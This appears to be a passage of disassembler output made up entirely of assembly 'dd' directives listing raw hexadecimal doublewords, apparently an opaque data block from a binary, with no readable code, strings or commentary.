		dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h
		dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh
		dd 327781Eh, 507C487Ah,	0BF90B87Eh, 3477071Ch, 80CD9D3Ah
		dd 27263513h, 7E0479Ch,	55362161h, 7CD150C9h, 37000FD8h
		dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h
		dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h
		dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh
		dd 7EE14F6h, 1700E03Ah,	2E672847h, 0A70A3687h, 0DA57C740h
		dd 9B14839Dh, 0C652CAh,	303B1AE1h, 0D17FC9h, 0E0BDD99Fh
		dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h,	549F4B1Eh
		dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah,	0A2809697h
		dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h
		dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh
		dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch,	324FB992h
		dd 0E6BC39h, 3118C3EEh,	3EFE971Eh, 5401488Eh, 73495C0Fh
		dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh
		dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h
		dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h
		dd 3465E1h, 0D1ABC98Dh,	0E0BFD9B7h, 72351900h, 7627741Fh
		dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h,	0A243B237h
		dd 90AD38h, 0E46A3A1Dh,	0ECB9E8A9h, 0EDF0CF01h,	3B5003F4h
		dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h
		dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h,	0AA393F00h
		dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h
		dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h
		dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h,	52001D4Ch
		dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h,	0F8BCFCB3h
		dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch,	0E76FC769h
		dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch
		dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h
		dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h
		dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h
		dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh
		dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch
		dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h
		dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h
		dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h
		dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h
		dd 0E40535h, 920FE80Bh,	7C2C7A74h, 3B49361Dh, 4E543F8Eh
		dd 0CF6B8E5Eh
		dd 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h
		dd 763B0074h, 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h
		dd 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh,	1E489E43h
		dd 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h,	9FB61FAEh
		dd 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh,	380687FEh
		dd 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh, 56404ECFh
		dd 661A0FD6h, 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h,	0AE9E6E96h
		dd 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h
		dd 0EFEC1F6h, 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh
		dd 2746CB3Eh, 14E75638h, 0F466E55Eh, 7EF27603h,	0F9D92EC9h
		dd 6406C8F4h, 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h
		dd 548E4C4Eh, 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h
		dd 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h
		dd 3EEC3FE4h, 40260F4h,	3A0C3B39h, 1C00143Ah, 2C3D243Ch
		dd 3F77343Eh, 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh
		dd 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h
		dd 24DC05D4h, 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h
		dd 602C8424h, 253CC93h,	7CFEC77Fh, 40E884E7h, 7ED492A3h
		dd 0CE74BC72h, 0FE00CCFh, 80FA5FF4h, 7404723Dh,	140C7608h
		dd 0BB481078h, 1C396548h, 3C3B2A3Ah, 643D5C3Ch,	6C3F683Eh
		dd 743F703Fh, 2C64783Fh, 987C9280h, 0F9C04FE9h,	0F9C8F9C4h
		dd 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h, 1C3E0114h,	248B204Eh
		dd 0A72CE427h, 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h
		dd 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h
		dd 3ED4FCD0h, 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h
		dd 0D930D12Ch, 38E13934h, 4E405C92h, 4C884830h,	8815ABA9h
		dd 0AF902AADh, 3F309849h, 91A422A0h, 49E0122Ah,	2E24E82Ch
		dd 0F83093F0h, 8C99F0F7h, 130F6010h, 612501D4h,	51347882h
		dd 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h
		dd 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh
		dd 83A0431h, 383C665Ch,	2E403D00h, 4C9F6844h, 4B500097h
		dd 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h,	0F9ACEEE1h
		dd 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h
		dd 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h
		dd 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh
		dd 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh
		dd 0B2142E10h, 960E1C9Fh, 214F1720h, 60CF5C22h,	68D164C9h
		dd 70E16CD9h, 78F00471h, 0AB7C07CBh, 12BC8732h,	2249C0E7h
		dd 7C2426C8h, 0DC00D87Eh, 3974ECE6h, 4D3A1434h,	200B1018h
		dd 5A8E243Dh, 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h
		dd 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h
		dd 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h,	592400CCh
		dd 0B35C9228h, 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch
		dd 7C8C7A88h, 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h
		dd 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h
		dd 4F848F4h, 49D25094h,	419A4A58h, 0E2F1C688h, 0CDF8F9F9h
		dd 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh,	6ED16A40h
		dd 976BEA0h, 7EF17AE9h,	2C869D61h, 818E259Fh, 582896A1h
		dd 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h,	0DB0092A8h
		dd 4A904926h, 0AD9AFD1h, 320AE0E4h, 0A748009Fh,	81331C50h
		dd 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh
		dd 0EF007EE0h, 3A0E215Dh, 388B3B65h, 9F00A72Eh,	4B0216D8h
		dd 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h
		dd 64C2D901h, 3F8EAAEh,	0E41E3AF4h, 2B0E0058h, 704E6B3Bh
		dd 0CF00788Eh, 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh
		dd 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h
		dd 0C84D0B16h, 0C0EB6084h, 72F2512h, 47780203h,	989B6787h
		dd 12AEFEh, 940CF188h, 30050708h, 0D824A509h, 805489E0h
		dd 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh,	0FB4FEC00h
		dd 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh
		dd 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h
		dd 0F017EBh, 3403876Fh,	2A0F2421h, 0C45385h, 0F85056A0h
		dd 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h
		dd 2C640h, 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h
		dd 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh
		dd 707B525h, 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh
		dd 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah
		dd 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h,	7BF073h
		dd 0C0F880F4h, 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h
		dd 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h
		dd 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h
		dd 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh
		dd 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh
		dd 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh
		dd 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h
		dd 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h
		dd 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h
		dd 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh
		dd 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh
		dd 8960925Ch, 4012806h,	1102214Ah, 4FF0FF3Eh, 780A0070h
		dd 4E5B7A57h, 0FA16095Fh, 5001A1BBh, 97C9893Fh,	0C60434h
		dd 0C32DAE1h, 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h
		dd 0E8ADF2Ch, 13F68D35h, 67A8A707h, 86317247h, 9BE49187h
		dd 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h
		dd 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h
		dd 73CF69h, 0D39BF485h,	0F3AF12CEh, 0CCB3C3B9h,	0F7C0D1B3h
		dd 382C1BF0h, 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h
		dd 27CB3BBFh, 0EA47D800h, 193C9D61h, 3E560060h,	0E974B272h
		dd 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h, 0FCD31524h
		dd 5213A24Bh, 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h
		dd 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch
		dd 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh
		dd 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h
		dd 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h,	0A41B78E0h
		dd 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h,	2F491F31h
		dd 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h
		dd 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h
		dd 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h
		dd 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h
		dd 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh,	9901A392h
		dd 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h
		dd 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch,	64610040h
		dd 0FFD9FA01h, 0D8C082E3h
		dd 2496E0h, 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h
		dd 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h,	0E2922E09h
		dd 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch
		dd 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h, 3F6098ACh
		dd 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh, 0AEB00472h
		dd 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h, 34C82C81h
		dd 60C85C9Fh, 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h
		dd 72F988F6h, 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h
		dd 0B892D400h, 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h
		dd 42D3FC00h, 0A22C9324h, 2E91C30h, 0F13CC038h,	6844F940h
		dd 66011C4Eh, 10542E50h, 5CA05344h, 0F498F090h,	1F52949Ch
		dd 9FA89FA4h, 92B085ACh, 0BCA203B4h, 5AF1C0C9h,	0F3FF31C8h
		dd 0DCEBF0C9h, 10010F1Bh, 83840B3Ah, 0DC42C29h,	3D604D1h
		dd 803E873Ch, 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h
		dd 0F3EE1EBAh, 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h
		dd 741A0172h, 0D7C4A78h, 69B03084h, 0D62D8A0Fh,	0EBFB0007h
		dd 5407849h, 0F03C6E68h, 4BC68070h, 0E7B0212Dh,	0B745AB03h
		dd 98D662D3h, 2DEFE2E3h, 6F004EE8h, 0F8895961h,	587E3C5Ch
		dd 7E5C59h, 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h
		dd 33033FE2h, 67521687h, 0A593A873h, 700827B5h,	0E000E674h
		dd 0C77230F8h, 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h
		dd 7F49038h, 4E560032h,	331883D7h, 88739250h, 0B300667Ah
		dd 8FD2300Fh, 0FBCFE6h,	0EC2708C9h, 0E0224418h,	0B62C4BE4h
		dd 9F005CAAh, 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h
		dd 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h
		dd 6015760Dh, 5217A74h,	2F7E297Ch, 0C0D11CCFh, 274BC945h
		dd 0E7395DF6h, 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h
		dd 13F8BCC2h, 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h
		dd 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh
		dd 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h
		dd 12E38h, 1E13E2A6h, 14FDC17h,	28823302h, 0F8508F38h
		dd 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h
		dd 7F0B96EEh, 0D6BC83h,	0E4CF3D80h, 3E2D000Bh, 36740417h
		dd 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h
		dd 398595DBh, 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h
		dd 88F981AFh, 1670092Ah, 4F221D50h, 0A08EC798h,	33E190E0h
		dd 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h
		dd 2CB0AD84h, 52382700h, 0E05A3E05h, 92620026h,	5B6A7EBAh
		dd 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h, 0FE4AC90h
		dd 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h
		dd 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh
		dd 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h,	0FC3108CEh
		dd 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h,	0F40B40h
		dd 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h
		dd 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h, 793A7578h
		dd 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh
		dd 207E49Fh, 3A1A3E48h,	2740240Fh, 1F71FAACh, 127E23ECh
		dd 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h
		dd 3101430Bh, 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h
		dd 0DE7459D8h, 997F500h, 7BBCC95Ah, 3C9100D9h, 3FAF3E6Ch
		dd 0F3002DE7h, 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h
		dd 2A680E0Bh, 96058347h, 713F898h, 12140037h, 3FB24BDCh
		dd 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h, 0E147D627h
		dd 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah
		dd 248E7E39h, 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h
		dd 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h
		dd 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h,	0C0DC9697h
		dd 732A260h, 924FE443h,	7A6E80D8h, 94004974h, 60CFD6D0h
		dd 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h
		dd 72FC5C90h, 98B5A7Fh,	908FAAF3h, 0CEBAE680h, 4A125276h
		dd 1903825Fh, 0F3B0C324h, 9854F0D6h, 37E0018Eh,	5C84204Ch
		dd 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh
		dd 0CEF0B603h, 1F9E9Ch,	1B3C10FCh, 43FA0729h, 0F04F6500h
		dd 7BF86E6Ch, 9C3200B8h, 1F06267Ch, 0BF0293B3h,	0F3DE7283h
		dd 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh
		dd 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah
		dd 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h,	0A1E4993Fh
		dd 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h,	3F2F7A0h
		dd 740068F0h, 783E9822h, 574946h, 259B3FA8h, 41E462A5h
		dd 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h
		dd 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh
		dd 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h,	28AED94Ch
		dd 9302F27Eh, 0F9B0A6C9h, 761350B6h, 2DED78E1h,	0CCDEF8F7h
		dd 9E0E0D04h, 324EEE0h,	0EA924210h, 0C08C5056h,	23745A94h
		dd 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h
		dd 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h
		dd 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h,	0AC0400E4h
		dd 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah
		dd 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h
		dd 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h
		dd 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh
		dd 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h,	0A0FD92F3h
		dd 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h
		dd 0E3F2E04h, 8C059230h, 0F4AF56A0h, 48058F80h,	0C8B23AF6h
		dd 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h
		dd 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh
		dd 0A2923C80h, 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h
		dd 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h
		dd 0A2B11214h, 3FDA3F94h, 58FC00F2h, 3A1939ECh,	443B2C2Fh
		dd 623D0049h, 2437A27h,	8A34813Fh, 96351EC9h, 973E803Ch
		dd 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h,	0AF7462D8h
		dd 9B74E04h, 27B0D044h,	0F9E4E5h, 5F1DFF4Ch, 8952640Eh
		dd 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h
		dd 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h
		dd 610FAAC9h, 0F9BDE8h,	0FCF4BC34h, 38390008h, 3B2D3A12h
		dd 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h
		dd 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch
		dd 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h
		dd 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh
		dd 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh,	0C02CEA3Bh
		dd 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
		dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
		dd 996E80CCh
		dd 9F0FA34Eh, 0BD3C3Bh,	0C1C725C2h, 0F9D11C60h,	3ADB9DD6h
		dd 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h,	5FE870h
		dd 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h
		dd 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h,	4E86F379h
		dd 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h, 20491600h
		dd 3D323CBEh, 347E23Eh,	6D27663Fh, 99F85EECh, 0AC3825C0h
		dd 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh,	5DB3285Ah
		dd 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh
		dd 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh
		dd 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h
		dd 4B037946h, 7E5FCEEh,	853D7E58h, 2E0591B0h, 16A101ABh
		dd 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h,	0F840563Bh
		dd 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h
		dd 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h,	0F0C14768h
		dd 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h
		dd 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h
		dd 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h,	9A94ABh
		dd 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh
		dd 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh
		dd 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h
		dd 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h,	80F99EBAh
		dd 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh,	0EECB00E5h
		dd 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h
		dd 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh
		dd 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h
		dd 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h,	430E2506h
		dd 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh
		dd 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h
		dd 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh
		dd 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h,	50839502h
		dd 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h
		dd 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h
		dd 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh,	2775760Bh
		dd 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h
		dd 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh
		dd 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h
		dd 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h,	8EC19Eh
		dd 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h,	0C2AA4A00h
		dd 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h,	7E0EACFAh
		dd 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh,	0B27B3E87h
		dd 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h
		dd 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h,	0B3CF003Eh
		dd 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh
		dd 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h
		dd 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh
		dd 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh,	49F044E0h
		dd 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h
		dd 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h
		dd 3F80561h, 8342092Eh,	23D83E61h, 0C23B3A84h, 305C8351h
		dd 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh,	0DE08C102h
		dd 0C0060F2Eh, 580A12h,	4A3074FEh, 44F6C838h, 0F8919500h
		dd 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h
		dd 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h
		dd 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h,	0E30016BAh
		dd 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h
		dd 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h
		dd 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h
		dd 0D5D0B8B7h, 4BBEA8h,	3DF28329h, 0F0E947B2h, 0E68F5E50h
		dd 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h
		dd 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h
		dd 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh,	3D030013h
		dd 260F097h, 7D003E2Fh,	3F217081h, 4386C29h, 4C26453Bh
		dd 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h
		dd 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h
		dd 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h
		dd 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh,	0E4168800h
